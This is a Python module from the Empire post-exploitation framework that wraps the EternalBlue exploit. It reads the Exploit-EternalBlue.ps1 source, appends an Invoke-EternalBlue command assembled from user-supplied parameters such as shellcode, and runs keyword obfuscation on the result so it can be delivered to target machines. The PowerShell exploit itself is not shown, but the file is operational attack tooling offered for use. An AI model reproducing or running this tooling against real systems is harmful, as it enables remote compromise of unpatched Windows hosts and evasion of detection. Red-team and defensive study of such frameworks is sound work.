from __future__ import print_function

from builtins import object
from builtins import str
from typing import Dict

from empire.server.common.module_models import PydanticModule
from empire.server.utils import data_util
from empire.server.utils.module_util import handle_error_message


class Module(object):
    @staticmethod
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"

        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        script += "\nInvoke-EternalBlue "

        for key, value in params.items():
            if value != '':
                if key.lower() == "shellcode":
                    # transform the shellcode to the correct format
                    script += " -" + str(key) + " @(" + str(value) + ")"
                else:
                    script += " -" + str(key) + " " + str(value)

        script += "; 'Exploit complete'"
        script = data_util.keyword_obfuscation(script)

        return script
